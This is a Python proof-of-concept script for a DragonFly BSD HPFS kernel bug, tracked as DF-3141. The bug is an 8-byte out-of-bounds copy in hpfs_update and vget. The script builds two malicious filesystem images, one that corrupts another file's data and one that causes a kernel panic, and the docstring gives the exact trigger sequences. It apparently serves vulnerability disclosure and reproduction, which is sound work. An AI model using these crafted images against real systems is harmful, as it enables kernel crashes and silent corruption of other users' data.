DF-3141 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 | #!/usr/bin/env python3 """ DF-3141 — struct fnode is 520 bytes, FNODESIZE is 512. sys/vfs/hpfs/hpfs.h:183 #define FNODESIZE DEV_BSIZE (512) sys/vfs/hpfs/hpfs.h:185 struct fnode { ... u_int8_t fn_int[0x13c]; } (520 total after 8-byte alignment for fn_readhist) sys/vfs/hpfs/hpfs_subr.c:735-738 hpfs_update: bp = getblk(devvp, dbtodoff(hp->h_no), FNODESIZE, 0, 0); // 512-byte buf clrbuf(bp); bcopy(&hp->h_fn, bp->b_data, sizeof(struct fnode)); // 520 bytes! => unconditional 8-byte out-of-bounds write past the buffer's data. DragonFly buffers are VMIO (kern/vfs_bio.c:2973), b_data = buffer_map KVA at (loffset & PAGE_MASK) inside the device object's page: * fnode LSN % 8 == 0..6 : the 8 OOB bytes land in the SAME page => they overwrite the cached bytes of the NEXT DISK SECTOR (cross-file data corruption, user-visible). * fnode LSN % 8 == 7 : loffset & PAGE_MASK == 0xE00, buffer ends exactly at the page boundary => the OOB access hits the next, unmapped page of the buffer's KVA reservation => page fault => kernel panic. This builder emits both images: df3141.img -- corruption variant: file A's fnode at LSN 0x48 (0x48*512 = 0x9000, page-aligned). The 8 OOB bytes land on sector 0x49[0..8), which is file B's data sector (B's extent {al_off:0, al_len:1, al_lsn:0x49}). Sequence: open A (vget copies 0x49[0..8)="XXXXXXXX" into h_fn tail) -> write B "YYYYYYYY" -> ftruncate A, 0 -> close A -> hpfs_update writes the stale tail "XXXXXXXX" over B's data => B reads back "XXXXXXXX". df3141p.img -- panic variant: FILE's fnode at LSN 0x4F (0x4F*512 = 0x9E00 = page+0xE00). stat(2) -> hpfs_vget -> bread(512) + bcopy(...,520) reads 8 bytes past the last mapped page => Fatal trap 12. usage: craft_img.py <out.img> <corr|panic> """ import struct, sys SECTOR = 512 IMGSEC = 0x1000 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE DE_DOWN, DE_END = 0x0004, 0x0008 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 # kernel hpfsdirent field offsets (u_long == 8 bytes on amd64!) DE_OFF_RECLEN, DE_OFF_FLAG, DE_OFF_FNODE = 0x00, 0x02, 0x04 DE_OFF_NAMELEN, DE_OFF_NAME = 0x2E, 0x2F def base_image(img): def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) # superblock @0x10 su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, IMGSEC) # su_btotal wr32(su + 20, 0) # su_badbtotal wr32(su + 24, 0x30); wr32(su + 28, 0x30) # su_bitmap lsn1/lsn2 # spareblock @0x11 (sp_cpinum = 0 -> cpinit is a no-op) wr64(0x11 * SECTOR, SP_MAGIC) # bitmap pointer sector @0x30 -> band bitmap at 0x38 wr32(0x30 * SECTOR, 0x38) # bitmap @0x38: all busy (0). A's extent {0x200,0x200} is "busy", # consistent with all-zero bits. # root fnode @0x20 (dir): one leaf -> dirblk at 0x40 rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) # leaf0.lsn -> dirblk 0x40 wr32(rf + FN_OFF_SIZE, 2048) return wr32, wr64, wr16, wr8 def make_fnode(img, lsn, parent, name, isdir, size, leaf): off = lsn * SECTOR struct.pack_into('<I', img, off + FN_OFF_MAGIC, FN_MAGIC) img[off + FN_OFF_NAMELEN] = len(name) img[off + FN_OFF_NAME:off + FN_OFF_NAME + len(name)] = name struct.pack_into('<I', img, off + FN_OFF_PARENT, parent) img[off + FN_OFF_FLAG] = 1 if isdir else 0 img[off + FN_OFF_AB + AB_OFF_FLAG] = 0 img[off + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[off + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 struct.pack_into('<H', img, off + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) a = off + FN_OFF_ABD struct.pack_into('<III', img, a, leaf[0], leaf[1], leaf[2]) struct.pack_into('<I', img, off + FN_OFF_SIZE, size) def make_dirent(img, dep, reclen, flag, fnode, name): struct.pack_into('<HHI', img, dep, reclen, flag, fnode) img[dep + DE_OFF_NAMELEN] = len(name) img[dep + DE_OFF_NAME:dep + DE_OFF_NAME + len(name)] = name def build(outpath, variant): img = bytearray(IMGSEC * SECTOR) wr32, wr64, wr16, wr8 = base_image(img) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 12, 0x20) # d_parent wr32(db + 16, 0x40) # d_self if variant == 'corr': # file A: fnode 0x48, 0x200-block extent at 0x200 (data irrelevant) make_fnode(img, 0x48, 0x20, b'A', 0, 0x200 * 512, (0, 0x200, 0x200)) # file B: fnode 0x4A, data sector = 0x49 == the sector right # after A's fnode, in the same VM page (0x9000..0x9FFF) make_fnode(img, 0x4A, 0x20, b'B', 0, 512, (0, 1, 0x49)) # B's on-disk data: "XXXXXXXX..." img[0x49 * SECTOR:0x49 * SECTOR + 16] = b'XXXXXXXX' + b'01234567' dep = db + 20 make_dirent(img, dep, 0x30, 0, 0x48, b'A') dep2 = dep + 0x30 make_dirent(img, dep2, 0x30, 0, 0x4A, b'B') dep3 = dep2 + 0x30 struct.pack_into('<HH', img, dep3, 2048 - (dep3 - db), DE_END) wr32(db + 4, (dep3 + 4) - db) # d_freeoff else: # panic # FILE fnode at 0x4F: 0x4F*512 = 0x9E00 = page+0xE00 make_fnode(img, 0x4F, 0x20, b'FILE', 0, 512, (0, 1, 0x100)) dep = db + 20 reclen = ((0x2F + 4) + 3) & ~3 # 0x34: name must fit the entry make_dirent(img, dep, reclen, 0, 0x4F, b'FILE') dep2 = dep + reclen struct.pack_into('<HH', img, dep2, 2048 - (dep2 - db), DE_END) wr32(db + 4, (dep2 + 4) - db) with open(outpath, 'wb') as f: f.write(img) print("wrote %s (%s)" % (outpath, variant)) if __name__ == '__main__': build(sys.argv[1], sys.argv[2]) |